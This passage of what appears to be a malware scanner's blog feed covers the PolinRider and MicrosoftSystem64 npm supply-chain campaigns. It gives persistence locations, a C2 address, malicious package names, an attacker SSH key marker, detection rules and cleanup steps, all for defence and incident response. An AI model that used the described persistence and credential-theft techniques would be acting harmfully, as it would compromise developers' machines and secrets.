<p>Its job is to collect. SafeDep lists credentials from 15 browser families, data
from more than 80 cryptocurrency wallet extensions, Telegram Desktop sessions
and SSH keys. It also logs keystrokes, watches the clipboard, takes a
screenshot every 60 seconds, runs commands it is sent and updates itself. What
it takes goes to private datasets on Hugging Face, so the traffic looks like ordinary HTTPS to a well-known site.</p>
<h2 id="how-it-gets-onto-a-computer">How it gets onto a computer</h2>
<p>Through npm, at install time. The first packages SafeDep and JFrog described
were fake logging libraries. <code>js-logger-pack</code> appeared in April 2026, and after
npm took it down on 22 April the same dropper came back as
<code>terminal-logger-utils</code> and several packages around it. In <code>js-logger-pack</code> a
<code>postinstall</code> script downloads the build for your system and leaves it running
in the background, so <code>npm install</code> finishes as normal.</p>
<p>Later packages copied real libraries. The OpenSSF malicious-packages database
records <code>void-ulid</code>, a copy of the legitimate <code>ulid</code> package down to its
repository link, which installs the agent as a JavaScript file rather than the
packed program. A later one, <code>pino-ulid</code>, sets up the same kind of agent under
another name.</p>
<p><a href="https://www.island.io/blog/how-attackers-built-software-an-ai-would-recommend">Island</a> has since followed this cluster to at least 88 public GitHub
repositories, many of them presented as AI and agent tools. They contained
real, working code and pulled the dropper in through a dependency such as <code>ioredis-xyz</code>, later
<code>oscar-redis</code> or <code>oracle-redis</code>. Their histories were copied or generated and
forks arrived almost exactly every three minutes. One of them came up unprompted in both ChatGPT and Google’s AI Overview. A project
you cloned because an assistant recommended it can bring the trojan in the
first time you run <code>npm install</code>.</p>
<h2 id="where-it-hides">Where it hides</h2>
<p>On Windows the program sits in your local application data folder as
<code>MicrosoftSystem64.exe</code>, started by a scheduled task and a small script of the
same name, with a registry Run value as a fallback. On macOS it lives under
Application Support and starts from a LaunchAgent with <code>com.launchkeeper</code> in
its name. On Linux it sits under <code>~/.local/share</code> and starts from a systemd
user service or an autostart entry. On every system it keeps its upload queue
in folders called <code>.pcl-data</code> and <code>.pcl-state</code> and leaves a <code>.registered</code>
file, as JFrog describes.</p>
<p>One build also leaves a way back in. According to the OpenSSF record for the
<code>eo-terminal</code> package, it appends the attacker’s own SSH key, with the comment
<code>bink@DESKTOP-N8JGD6T</code>, to <code>~/.ssh/authorized_keys</code>. Removing the program does
not remove that line, and until you do, the computer can still be entered
over SSH.</p>
<h2 id="is-it-polinrider">Is it PolinRider?</h2>
<p>Not by name, as far as the published reports go. None of the reports on
<code>MicrosoftSystem64</code> mentions PolinRider, and none of the PolinRider reports we
have read mentions <code>MicrosoftSystem64</code>. They are related through the group
behind them. SafeDep places these packages in a cluster that kmsec.uk and OX
Security attribute to Famous Chollima, also tracked as Contagious Interview, a
DPRK-linked group. OpenSourceMalware describes PolinRider as a parallel or
sub-campaign of Contagious Interview. We check for both because they target
the same developers and need the same response.</p>
<p>A different Microsoft-looking name, <code>MicrosoftCLROptimization</code>, has been seen
starting malware at logon on Windows. It is not this program; we wrote about
it in <a href="https://polinriderscanner.com/guides/polinrider-keeps-coming-back/">why PolinRider came back after Defender removed it</a>.</p>
<h2 id="what-to-do">What to do</h2>
<p>Assume everything on the computer has been taken. Stop it from starting again first: remove the scheduled task and
Run value, the LaunchAgent or the systemd unit and autostart entry, then the
program and its folders. Read <code>~/.ssh/authorized_keys</code> and remove any line you
did not add. Then remove the package: delete <code>node_modules</code> and the lockfile,
clear the npm cache and take the package out of <code>package.json</code> before you
install anything again.</p>
<p>From a clean computer, change everything: browser-saved passwords, SSH keys,
API and cloud keys, npm tokens and database passwords. If a wallet was on the
computer, its seed phrase is exposed, which means moving the funds to a new
wallet. Consider reinstalling the operating system too: removing files contains the
problem, and only a clean install recovers from it.</p>
<p>polinrider looks for the program by its names, its install and startup paths
and its published file hashes, so a renamed copy is still caught. It reads the process table too, and since 2.3.0 it also catches the JavaScript version running under <code>node</code>
and names the attacker’s key in <code>authorized_keys</code> without editing the file.
The <a href="https://polinriderscanner.com/docs/guides/getting-rid-of-polinrider/">cleanup checklist</a> covers the
rest of the cleanup in order.</p>
<h2 id="sources">Sources</h2>
<ul>
<li>SafeDep, <a href="https://safedep.io/microsoftsystem64-binary-payload-analysis/">Inside MicrosoftSystem64: A Supply Chain RAT Exfiltrating to HuggingFace</a>, 28 May 2026</li>
<li>JFrog Security Research, <a href="https://research.jfrog.com/post/hugging-face-exfil/">js-logger-pack Operator Turns Hugging Face into a Malware CDN and Exfiltration Backend</a>, 23 April 2026</li>
<li>Island, <a href="https://www.island.io/blog/how-attackers-built-software-an-ai-would-recommend">How Attackers Built Software an AI Would Recommend</a>, 13 October 2026</li>
<li>OpenSSF malicious-packages: <a href="https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/eo-terminal/MAL-2026-4345.json">MAL-2026-4345</a> (<code>eo-terminal</code>), <a href="https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/void-ulid/MAL-2026-5341.json">MAL-2026-5341</a> (<code>void-ulid</code>) and <a href="https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/pino-ulid/MAL-2026-16154.json">MAL-2026-16154</a> (<code>pino-ulid</code>)</li>
<li>OpenSourceMalware, <a href="https://opensourcemalware.com/blog/polinrider-blast-radius-grows">PolinRider Blast Radius Grows</a>, 15 July 2026</li>
<li>Our indicator reviews of <a href="https://polinriderscanner.com/indicator-reviews/2026-10-12/">12 October</a> and <a href="https://polinriderscanner.com/indicator-reviews/2026-11-02/">2 November</a></li>
</ul>]]></content:encoded>
    </item>
    <item>
      <title>Is it PolinRider or a false alarm? Reading a scan result</title>
      <link>https://polinriderscanner.com/guides/polinrider-or-false-alarm/</link>
      <guid isPermaLink="true">https://polinriderscanner.com/guides/polinrider-or-false-alarm/</guid>
      <pubDate>Tue, 03 Nov 2026 00:00:00 GMT</pubDate>
      <category>Guide</category>
      <description>polinrider 2.3.0 reads more of your files, so a project it once called clean can now show review lines. What each answer means and which matches are harmless.</description>
      <content:encoded><![CDATA[<p>Since 2.3.0, polinrider reads every text file up to 1 MB in a folder or on a
computer for strings that a normal project can also contain, and for file
names that a legitimate tool might also write. So a project that 2.2.0 called
clean can now come back with a few <code>[review]</code> lines and exit code 1. That is
not a verdict of infection. It is the tool asking you a question. This is how
to read each of its answers, and which of the usual matches are harmless.</p>
<h2 id="the-three-answers">The three answers</h2>
<p><code>VERDICT: COMPROMISED</code>, with <code>[HIT]</code> lines, means it found at least one thing
that only the malware leaves. Under the verdict, a box says one of two things.
“This machine cannot be trusted until it is rebuilt” means something proves
the payload ran on this computer: the implant, a login item, a git hook, an
editor extension, a startup file, a running process or a live connection. “The
payload is in your project files” means everything it found sits inside your
projects. The payload runs when an infected project is built or opened in an
editor, so if that happened, or you are not sure, treat the computer as
compromised anyway. Below the box, a list called WHAT TO DO NEXT gives a step
for each finding with the exact command. Follow it in order, and check the
computer before you touch GitHub.</p>
<p><code>VERDICT: no confirmed indicator.</code>, with <code>[review]</code> lines, means nothing is
confirmed but a person has to decide about each line. The tool prints three
steps in its own words. Read each line and ask whether you put that file,
process or setting there. Treat a line that says a check could not run, or was
skipped, as a part that was not looked at, and fix whatever stopped it. If any
line turns out not to be yours, treat it as confirmed: disconnect from the
network and change your credentials from a different machine.</p>
<p><code>VERDICT: clean against the current indicator set.</code> means none of today’s
indicators is on what was checked. It is not proof that nothing was ever
there, because the campaign changes its signatures. If you had a reason to
check in the first place, change your credentials anyway.</p>
<p>A fourth outcome, exit code 3, means the check could not run, for example
because a path does not exist or <code>gh</code> is not signed in. It says nothing either
way.</p>
<h2 id="how-it-decides-what-to-confirm">How it decides what to confirm</h2>
<p>There is one rule. A match may confirm an infection only if it has no
plausible innocent explanation. Anything a legitimate project could also
contain stays at review, and when the two are close, it goes to review. A
false confirmation costs every user a panic, while keeping a real indicator at
review costs one line of output. So take a <code>[HIT]</code> at its word and read a <code>[review]</code>.</p>
<h2 id="matches-that-are-usually-harmless">Matches that are usually harmless</h2>
<p>A <code>.vscode/tasks.json</code> that runs on folder open is the most common review line.
Teams use folder-open tasks for real work, so the tool asks you to check the
command by hand. It is real if the command runs <code>node</code> on a font file, or
downloads something and runs it. If the task carries a known indicator, you
will see a <code>[HIT]</code> instead.</p>
<p><code>folderOpen</code> or <code>allowAutomaticTasks</code> in another file, such as
<code>.vscode/settings.json</code>, is harmless on its own, because only <code>tasks.json</code>
runs commands.</p>
<p>A long build config can match too: a tail after <code>export default</code> or a line longer than 4,000 characters. Some configs legitimately run long, and a flat
ESLint config opens with <code>export default [</code>. It is real if there is code you
did not write after the end of the config, often after a long run of spaces.</p>
<p><code>public/fonts/fa-solid-900.woff2</code> is a genuine Font Awesome file name, so the
name alone proves nothing. OpenSourceMalware has seen a fake use it, and the
tool settles it by reading the first bytes: a fake font is a <code>[HIT]</code> whatever
it is called.</p>
<p><code>spellright.dict</code> belongs to a real VS Code extension, and
<code>branch_structure.json</code> or <code>clr_init.vbs</code> are names a legitimate tool could
write. They matter if nobody on the team uses the tool that writes them, or if
they sit beside other campaign files.</p>
<p>Two things the tool never reports are a Git LFS pointer standing in for a font
and an empty font file. Neither has font bytes, and neither is malware.</p>
<h2 id="two-that-are-not-false-alarms">Two that are not false alarms</h2>
<p><code>temp_auto_push.bat</code> listed in a committed <code>.gitignore</code> can look harmless,
since the repository itself may hold no payload. It means a contributor’s
computer is infected; we explain why in
<a href="https://polinriderscanner.com/analysis/temp-auto-push-bat-polinrider/">Found temp_auto_push.bat?</a></p>
<p>An antivirus detection named for PolinRider, such as Windows Defender’s
<code>Trojan:NPM/PolinRider.SF</code>, means something ran on that computer. The other
direction does not hold. A clean result from another scanner is a first pass,
which OpenSourceMalware says plainly of its own scanner, built against the
campaign’s original signature.</p>
<h2 id="if-it-got-it-wrong">If it got it wrong</h2>
<p>Both directions are worth reporting. A harmless file reported as <code>[HIT]</code> or a review line that should never fire goes in a
<a href="https://github.com/meSingh/polinrider-scanner/issues/new?template=false-positive.md">false-positive issue</a>.
Something real that was missed goes in a
<a href="https://github.com/meSingh/polinrider-scanner/issues/new?template=missed-detection.md">missed-detection issue</a>,
with the source you saw it in. If the result is real, the
<a href="https://polinriderscanner.com/docs/guides/getting-rid-of-polinrider/">cleanup checklist</a> has every step.</p>
<h2 id="sources">Sources</h2>
<ul>
<li>polinrider-scanner: <a href="https://github.com/meSingh/polinrider-scanner/blob/main/src/scan.rs"><code>src/scan.rs</code></a> for the verdicts and next steps, <a href="https://github.com/meSingh/polinrider-scanner/blob/main/src/checks.rs"><code>src/checks.rs</code></a> for the tasks.json, config and font checks, <a href="https://github.com/meSingh/polinrider-scanner/blob/main/docs/adr/0034-the-verdict-is-followed-by-what-to-do-and-rebuild-is-said-only-on-proof.md">ADR-0034</a>, <a href="https://github.com/meSingh/polinrider-scanner/blob/main/docs/adr/0048-a-review-level-filename-list.md">ADR-0048</a> and <a href="https://github.com/meSingh/polinrider-scanner/blob/main/ioc/weak.txt"><code>ioc/weak.txt</code></a></li>
<li>Our <a href="https://polinriderscanner.com/releases/v2.3.0/">release notes for 2.3.0</a> and <a href="https://polinriderscanner.com/docs/reference/false-positives/">false positives reference</a></li>
<li>OpenSourceMalware, <a href="https://opensourcemalware.com/blog/polinrider-is-a-b-testing-its-way-past-your-detections">PolinRider is A/B Testing its Way Past Your Detections</a>, 26 September 2026</li>
<li>OpenSourceMalware, <a href="https://opensourcemalware.com/blog/developer-guide-getting-over-polinrider">A Developer’s Guide to Getting Rid of PolinRider</a>, August 2026</li>
</ul>]]></content:encoded>
    </item>
    <item>
      <title>Weekly indicator review, 2 November 2026: 15 indicators added</title>
      <link>https://polinriderscanner.com/indicator-reviews/2026-11-02/</link>
      <guid isPermaLink="true">https://polinriderscanner.com/indicator-reviews/2026-11-02/</guid>
      <pubDate>Mon, 02 Nov 2026 00:00:00 GMT</pubDate>
      <category>Indicator review</category>
      <description>Island's write-up of the MicrosoftSystem64 ULID cluster, 88 GitHub repositories reached through npm dependencies. Eight more names in the ioredis and Redis OM impersonation family, two of them live on npm, a third C2 address and six dropper hashes. pretty-logger, named by Island, is a 2014 package and was left out. The dossier has not moved in eighteen weeks</description>
      <content:encoded><![CDATA[<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Outcome</strong></td>
<td>15 indicators added</td>
</tr>
<tr>
<td><strong>Pull request</strong></td>
<td>the <code>ioc/2026-11-02</code> pull request</td>
</tr>
<tr>
<td><strong>Indicator set</strong></td>
<td><code>bad-packages.txt</code>: 8 names. <code>network.txt</code>: 1 address. <code>hashes.txt</code>: 6 hashes</td>
</tr>
</tbody>
</table>
<h2 id="sources">Sources</h2>
<table>
<thead>
<tr>
<th>Source</th>
<th>Reached</th>
<th>What it said</th>
</tr>
</thead>
<tbody>
<tr>
<td>OpenSourceMalware dossier</td>
<td>yes, git clone</td>
<td>Last commit 2026-07-09. Unchanged for eighteen weeks</td>
</tr>
<tr>
<td>opensourcemalware.com blog</td>
<td>yes, <code>/blog</code> index</td>
<td>89 slugs. None new since 2026-10-26 that concerns the campaign</td>
</tr>
<tr>
<td>Web search, last 7 days</td>
<td>yes</td>
<td>One new report: Island’s, on the <code>MicrosoftSystem64</code> ULID cluster, 88 GitHub repositories, published about 2026-10-27. Nothing under <code>ForceMemo</code></td>
</tr>
<tr>
<td>Island blog</td>
<td>yes, <code>island.io/blog/how-attackers-built-software-an-ai-would-recommend</code></td>
<td>Read in full through a fetch tool. Its indicator table is the source of every addition below</td>
</tr>
<tr>
<td>OpenSSF malicious-packages</td>
<td>yes, git clone, HEAD of 2026-11-01</td>
<td>Searched for the Island names, <code>ulid-xyz</code>, <code>redis-type-</code>, <code>ioredis</code> and <code>95.216.232.162</code></td>
</tr>
<tr>
<td>registry.npmjs.org</td>
<td>yes</td>
<td>Every name below was read on it today</td>
</tr>
<tr>
<td>socket.dev tracker</td>
<td>not tried</td>
<td>Refuses automated fetches; read through a person’s browser on 2026-10-26</td>
</tr>
</tbody>
</table>
<h2 id="upstream-state">Upstream state</h2>
<p>The dossier has not moved. The new material is Island’s write-up of a cluster
this set already carries in part: the ULID-impersonation npm packages
(<code>ulid-xyz</code>, <code>pino-ulid</code> and others) that install the <code>MicrosoftSystem64</code> agent.
Island follows them from the npm side to 88 public GitHub repositories (9,881
stars, 65,681 forks in total) themed as AI agents, trading, finance and
healthcare tools, each pulling the dropper in through a dependency. The
repositories are victims’ or throwaway projects, not indicators; see below.
The persistence artifacts Island lists (<code>MicrosoftSystem64.vbs</code>, the
<code>com.launchkeeper</code> LaunchAgent, the systemd user service) were already carried.</p>
<h2 id="added">Added</h2>
<table>
<thead>
<tr>
<th>Indicator</th>
<th>File</th>
<th>Why there</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>oscar-redis</code></td>
<td>bad-packages</td>
<td>Copy of ioredis. npm placeholder; malicious 5.11.2 to 6.1.2</td>
<td><a href="https://www.island.io/blog/how-attackers-built-software-an-ai-would-recommend">Island</a>, OpenSSF MAL-2026-16035</td>
</tr>
<tr>
<td><code>redis-type-intel</code></td>
<td>bad-packages</td>
<td>Dependency of the above and of <code>oracle-redis</code>. npm placeholder</td>
<td>Island, OpenSSF MAL-2026-16036</td>
</tr>
<tr>
<td><code>oracle-redis</code></td>
<td>bad-packages</td>
<td><strong>Live on npm.</strong> Copy of ioredis from a throwaway account, 433 downloads last week. 5.11.3 and 5.11.4 add <code>redis-type-intel</code> and <code>pino-ulid</code></td>
<td>Island, OpenSSF MAL-2026-16390</td>
</tr>
<tr>
<td><code>ioredis-xyz</code></td>
<td>bad-packages</td>
<td><strong>Live on npm.</strong> Copy of ioredis from a throwaway account, 85 downloads last week. 5.11.2 adds <code>redis-type-xyz</code>, already carried and dependent on <code>ulid-xyz</code></td>
<td>Island</td>
</tr>
<tr>
<td><code>ioredis-os</code></td>
<td>bad-packages</td>
<td>npm placeholder. Depends on <code>redis-type-os</code></td>
<td>Island, OpenSSF MAL-2026-5879</td>
</tr>
<tr>
<td><code>redis-type-os</code></td>
<td>bad-packages</td>
<td>Empty Redis OM copy whose added dependency is <code>hex-type</code>. npm placeholder</td>
<td>OpenSSF MAL-2026-5882; same family as Island’s list</td>
</tr>
<tr>
<td><code>os-ulid-void</code></td>
<td>bad-packages</td>
<td>npm placeholder; its payload hash is in Island’s table</td>
<td>Island, OpenSSF MAL-2026-5348</td>
</tr>
<tr>
<td><code>ioredis-om</code></td>
<td>bad-packages</td>
<td>npm placeholder, created 2026-06-18</td>
<td>Island</td>
</tr>
<tr>
<td><code>65.21.30.171</code></td>
<td>network</td>
<td>Third C2 of the cluster, port 8010, beside the two already carried</td>
<td>Island</td>
</tr>
<tr>
<td>Six SHA-256 hashes</td>
<td>hashes</td>
<td>Tarballs and <code>payload.js</code> of <code>ulid-xyz</code> 2.12.2 and 2.12.3, the <code>utils.js</code> launcher, the <code>os-ulid-void</code> payload</td>
<td>Island</td>
</tr>
</tbody>
</table>
<h2 id="considered-and-not-added">Considered and not added</h2>
<ul>
<li><strong><code>pretty-logger</code>.</strong> Island lists it, but it is a live package published in
2014 by one maintainer, with no scripts and 26 downloads a week. Almost
certainly named as a dependency name collision or victim, not attacker-owned.
Not added to any file.</li>
<li><strong><code>ioredis-typed</code> and <code>ioredis-orm</code>.</strong> OpenSSF marks both malicious
(MAL-2026-5676, MAL-2026-5675) and npm has replaced both with the placeholder.
<code>ioredis-orm</code> is a verbatim ioredis copy whose only addition is a dependency on
<code>ioredis-typed</code>. Nothing I read ties them to the campaign: no source names
PolinRider, <code>MicrosoftSystem64</code> or a shared C2, and OpenSSF’s own text calls the
carrier clean and the transitive unproven. Same naming style and the same weeks
as the cluster, so likely, but not added on a likelihood.</li>
<li><strong><code>instrumentation-ioredis</code>.</strong> An unrelated 2024 malicious record that happens
to contain “ioredis”.</li>
<li><strong><code>.pkg-agent.lock</code>.</strong> Named by Island as a host artifact, with no directory.
<code>implant-paths.txt</code> matches whole paths and the file’s location is unknown, so
any entry would be a guess.</li>
<li><strong><code>bootstrap-commits.sh</code>.</strong> A generic name that legitimate repositories can use.</li>
<li><strong>The 87 listed GitHub repositories and their owners</strong> (<code>Cesarjoquin</code>,
<code>Stormeye85</code> and the rest). They are other people’s or throwaway repositories,
not artifacts on a machine, the rule since 2026-09-21. The list is the input
for a GitHub-side check a person would run, not for <code>ioc/</code>.</li>
</ul>
<h2 id="open-gaps">Open gaps</h2>
<p>Each carried gap was re-checked against <code>main</code>, the 2026-10-26 and
2026-10-26 (Socket) entries, <code>src/</code> and <code>ioc/</code>.</p>
<ul>
<li><strong>The July 2026 ecosystem expansion.</strong> Mostly closed on 2026-10-26 from Socket’s
public CSV: nine npm names added, the infected legitimate packages recorded
by version. Still missing: Chrome extensions and the crates, which nothing in
<code>ioc/</code> can match, and version-aware matching (see techniques).</li>
<li><strong>The eight reopened names.</strong> Closed by the 2026-10-19 review. Re-checked today
against the registry: six are still the <code>0.0.1-security</code> placeholder, and
<code>tailwind-container-queries</code> and <code>webdev-conf</code> return no record (fully
unpublished). All eight remain in <code>bad-packages.txt</code>.</li>
<li><strong><code>weak.txt</code> and the local check.</strong> The overview says the check from the
release after 2.2.0 reads it (ADR-0047). Not re-tested, since this week adds
nothing to <code>weak.txt</code>.</li>
<li><strong><code>authorized_keys</code>, the blob-ID tier, the weak path tier, the regex content
tier, font weights, the small-file hash location.</strong> Unchanged. The six new hashes
are the small-file case: <code>payload.js</code> is matched only where the checks already
read files.</li>
</ul>
<h2 id="new-techniques--maintainer-decisions-not-implemented">New techniques — maintainer decisions, not implemented</h2>
<ol>
<li><strong>Dependency-chain reading in lockfiles.</strong> This cluster hides behind a
package that looks like a copy of ioredis, with the dropper two dependencies
deep. The binary already reads package names from lockfiles, so a name in
the chain is caught once it is listed. A name that has not yet been
reported is not, and nothing flags “a copy of a well-known package that adds
one unrelated dependency”.</li>
<li><strong>GitHub-side matching of dependency names.</strong> Island found the repositories
by their dependency. The GitHub checks read <code>package.json</code> on each ref, so
adding names here already covers them; no new check is needed. Recorded so
nobody builds one.</li>
</ol>
<h2 id="notes">Notes</h2>
<ul>
<li>Fixtures, outside the repository: a <code>package.json</code> depending on <code>oscar-redis</code>
and <code>ioredis-xyz</code> must exit <strong>2</strong>; one depending on <code>ioredis</code>, <code>pretty-logger</code>
and <code>ioredis-types</code> must exit <strong>0</strong>. Results are in the pull request.</li>
<li>No page, repository or record read for this entry attempted to give the reader
instructions. The fetch tool, asked to look for any, found none on Island’s
page.</li>
<li>The GitHub MCP server failed to connect this run, so open pull requests were
listed from remote branches: no <code>ioc/*</code> branch is open.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Why PolinRider keeps coming back after you remove it</title>
      <link>https://polinriderscanner.com/guides/polinrider-keeps-coming-back/</link>
      <guid isPermaLink="true">https://polinriderscanner.com/guides/polinrider-keeps-coming-back/</guid>
      <pubDate>Sat, 31 Oct 2026 00:00:00 GMT</pubDate>
      <category>Guide</category>
      <description>A developer's antivirus kept removing PolinRider and it kept returning. Their logs pointed to a logon entry. Where else it comes back from, and what stops it.</description>
      <content:encoded><![CDATA[<p>On 30 October a developer asked for help on the
<a href="https://www.bleepingcomputer.com/forums/t/819751/polinridernpm-infection-keeps-returning-frst-logs-attached/">BleepingComputer forums</a>. Windows Defender kept detecting
<code>Trojan:NPM/PolinRider.SF</code> and removing it, and it came back the moment they
ran <code>npm run dev</code> or <code>node server</code> in their project. A volunteer read their
logs and found two logon entries they had missed. If you are stuck in the
same loop, something that starts the malware is still on your computer or in
your project, and cleaning harder in the places you have already looked will
not find it.</p>
<h2 id="what-the-logs-showed">What the logs showed</h2>
<p>The developer had done more than most people would. They ran a full offline
scan, removed a suspicious Defender exclusion for their project folder, checked the scheduled tasks and the registry Run keys, ran
<code>npm audit</code> and confirmed VS Code’s automatic tasks were off.</p>
<p>They attached logs from the Farbar Recovery Scan Tool. Defender’s section
lists seven detections, and none of them is a file. Each one is a command
line: Node.js started with a long block of JavaScript passed to it directly.
Defender was catching the payload as it ran, not a file it could remove.</p>
<p>The same log lists a Run value named <code>MicrosoftCLROptimization</code>, which starts
a script called <code>clr_init.vbs</code> with Windows Script Host, plus a file of the
same name in the user’s Startup folder. So the Run keys the developer had
checked did hold an entry. Its name is borrowed from a real Microsoft .NET
component, which makes it easy to read past. Windows runs both each time the
user logs on. The helper quoted the two entries back and called them the
source of the repeated infection. At the time of writing the thread has no reply
after that, so we do not know whether removing them fixed it.</p>
<p>The name is not new. In September <a href="https://blog.deception.pro/blog/hok-dprk-polinrider-sep-2026">Deception.Pro</a> described a PolinRider
operator working by hand on a decoy workstation, between 27 August and 3
September. The operator planted a scheduled task, a Run key and a Startup
script, all called <code>MicrosoftCLROptimization</code>, under the SYSTEM profile so
they survive a user logging off.</p>
<h2 id="four-places-it-comes-back-from">Four places it comes back from</h2>
<p>The first is the project itself. The payload is appended to a config file
such as <code>postcss.config.js</code> or <code>eslint.config.mjs</code>, so it runs whenever that
file loads: the next dev server, the next build, the next CI run. As
OpenSourceMalware puts it in its <a href="https://opensourcemalware.com/blog/developer-guide-getting-over-polinrider">cleanup guide</a>, killing the
process buys you a clean moment, not a clean project. That fits the forum
case exactly. Until the config file is cleaned, no detection can last.</p>
<p>The second is something on the computer that starts it. Logon entries like
the ones above are one kind. Another, from the same guide, is npm itself: on
several infected computers npm’s own <code>lib/cli.js</code> had been replaced with a
copy of about a megabyte, so every <code>npm</code> or <code>npx</code> command starts the malware
again, even after a reboot. The fix there is to remove Node.js, make sure
nothing is still running and reinstall. A detached process left over from the
first infection will also keep pushing, with whatever credentials are valid
on the computer, including ones you have just changed.</p>
<p>The third is GitHub. Each time the payload runs, it looks for other
JavaScript projects on the computer, injects itself into them and pushes them
with the stored Git credentials, including repositories you have not opened
in months. A common way back in is to clean the computer and then clone the
infected branches straight back onto it.</p>
<p>The fourth is other people. OpenSourceMalware traced one small agency’s
organization through three cleanups in 2026. Each time, a force-push from a
different contributor’s account put the payload back, the fastest about five
hours later, under a commit message the team already trusted. A collaborator
who is still infected can reinfect you after you have finished.</p>
<h2 id="what-antivirus-can-and-cannot-tell-you">What antivirus can and cannot tell you</h2>
<p>In most variants the payload is decrypted from a blockchain transaction into
memory and never written to disk as a program, so scanning again and again
does not find much. Defender does flag some variants by name: OpenSourceMalware
lists <code>Trojan:JS/PolinRider.DB!MTB</code>, and the forum case shows
<code>Trojan:NPM/PolinRider.SF</code>. A detection tells you something ran. A clean scan
does not tell you that you are clear. The campaign also changes its
signatures, so not finding last month’s marker does not mean you are clean.</p>
<h2 id="what-stops-it">What stops it</h2>
<p>Do it in order. Turn off VS Code’s automatic tasks for every folder and tell
your collaborators first. Then check every computer that pushes to the
affected repositories, including Run keys, Startup folders and scheduled
tasks on Windows, and launch agents and the crontab on macOS. Change your
credentials only once those computers are clean, because a process that is
still running simply takes the new ones. Then clean the repositories on
GitHub, using its record of who pushed what rather than commit dates, which
the malware forges.</p>
<p>polinrider reads the Windows Run and RunOnce values, both Startup folders,
the scheduled tasks and npm’s own program files, and it knows the
<code>MicrosoftCLROptimization</code> script by its file name. Look through your Run
values and scheduled tasks for that name yourself as well. Our
<a href="https://polinriderscanner.com/docs/guides/getting-rid-of-polinrider/">cleanup checklist</a> has every step on
one page.</p>
<h2 id="sources">Sources</h2>
<ul>
<li>BleepingComputer forums, <a href="https://www.bleepingcomputer.com/forums/t/819751/polinridernpm-infection-keeps-returning-frst-logs-attached/">PolinRider/NPM infection keeps returning, FRST logs attached</a>, 30 October 2026</li>
<li>Deception.Pro, <a href="https://blog.deception.pro/blog/hok-dprk-polinrider-sep-2026">Hands-on-Keyboard Activity from the DPRK “PolinRider” Supply Chain Attack</a>, 9 September 2026</li>
<li>OpenSourceMalware, <a href="https://opensourcemalware.com/blog/developer-guide-getting-over-polinrider">A Developer’s Guide to Getting Rid of PolinRider</a>, August 2026</li>
<li>OpenSourceMalware, <a href="https://opensourcemalware.com/blog/polinrider-is-a-b-testing-its-way-past-your-detections">PolinRider is A/B Testing its Way Past Your Detections</a>, 26 September 2026</li>
</ul>]]></content:encoded>
    </item>
    <item>
      <title>Weekly indicator review, 26 October 2026: 9 indicators added</title>
      <link>https://polinriderscanner.com/indicator-reviews/2026-10-26-socket/</link>
      <guid isPermaLink="true">https://polinriderscanner.com/indicator-reviews/2026-10-26-socket/</guid>
      <pubDate>Mon, 26 Oct 2026 00:00:00 GMT</pubDate>
      <category>Indicator review</category>
      <description>Socket's tracker read in full for the first time, from the maintainer's browser after eight weeks of 403: 348 releases, 218 packages. Nine attacker-owned npm names added. Eighteen infected legitimate packages, two crates and the two Chrome extensions earlier reviews could not name are recorded with their malicious versions, not carried by name. 140 Go modules and 19 Composer packages are victims' repositories</description>
      <content:encoded><![CDATA[<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Outcome</strong></td>
<td>9 indicators added</td>
</tr>
<tr>
<td><strong>Pull request</strong></td>
<td>the <code>ioc/2026-10-26-socket</code> pull request</td>
</tr>
<tr>
<td><strong>Indicator set</strong></td>
<td><code>bad-packages.txt</code>: 9 names, and a comment block of infected legitimate packages</td>
</tr>
</tbody>
</table>
<p>A second entry on the same day as the weekly review, for one source: Socket’s
PolinRider tracker. Every weekly review since 2026-09-07 was refused by
socket.dev with 403, which left the July 2026 ecosystem expansion as the
largest open gap. This read was made from the maintainer’s own browser, which
passed the site’s bot check, and the tracker’s public CSV was read in full.</p>
<h2 id="what-the-tracker-holds">What the tracker holds</h2>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Source</td>
<td><a href="https://socket.dev/supply-chain-attacks/polinrider">Socket, PolinRider supply chain attack tracker</a>, and its CSV at <code>/api/public/supply-chain-attacks/polinrider/packages.csv</code></td>
</tr>
<tr>
<td>Read</td>
<td>2026-10-26</td>
</tr>
<tr>
<td>Scale</td>
<td>348 package releases, 218 unique packages. First discovered 2025-12-07, last activity 2026-10-26, releases up 83% on the previous seven days</td>
</tr>
<tr>
<td>By ecosystem</td>
<td>Go modules 140, npm 52, Composer 19, Cargo 2, PyPI 2, Chrome 2, one GitHub repository</td>
</tr>
</tbody>
</table>
<h2 id="how-each-package-was-classified">How each package was classified</h2>
<p>Every npm name was read on registry.npmjs.org the same day, for its version
count, its first publication, whether npm has replaced it with the
<code>0.0.1-security</code> placeholder, and its weekly downloads.</p>
<ul>
<li><strong>Attacker-owned</strong>: npm’s placeholder, or fully unpublished, with no history
before the malicious versions. Carried by name.</li>
<li><strong>Infected legitimate packages</strong>: years of clean releases and real users.
Not carried by name, which would alarm every user of them; the malicious
versions are listed in a comment, as for <code>html-to-gutenberg</code>.</li>
<li><strong>Victims’ repositories</strong>: the Go modules and the Composer packages are other
people’s GitHub repositories, published as modules from infected branches
(<code>dev-master</code>, <code>dev-fix/remove-malware</code>, Dependabot branches). Not indicators
of anything in someone else’s project, the rule since 2026-09-21.</li>
</ul>
<h2 id="added">Added</h2>
<h3 id="iocbad-packagestxt--9"><code>ioc/bad-packages.txt</code> — 9</h3>
<table>
<thead>
<tr>
<th>Indicator</th>
<th>Why there</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>@bcryptln/becryptjs</code></td>
<td>Lookalike of <code>bcryptjs</code>. npm’s placeholder; malicious 3.0.9 to 3.0.11</td>
</tr>
<tr>
<td><code>tailwind-animationbasis</code></td>
<td>The tailwind lookalike family already carried. Placeholder</td>
</tr>
<tr>
<td><code>tailwind-scrollbar-hider</code></td>
<td>Same family. Placeholder. Compared whole, so the real <code>tailwind-scrollbar-hide</code> is not matched</td>
</tr>
<tr>
<td><code>tailwind-style-typography</code></td>
<td>Same family. Placeholder</td>
</tr>
<tr>
<td><code>tailwind-stylecss-typography</code></td>
<td>Same family. Placeholder</td>
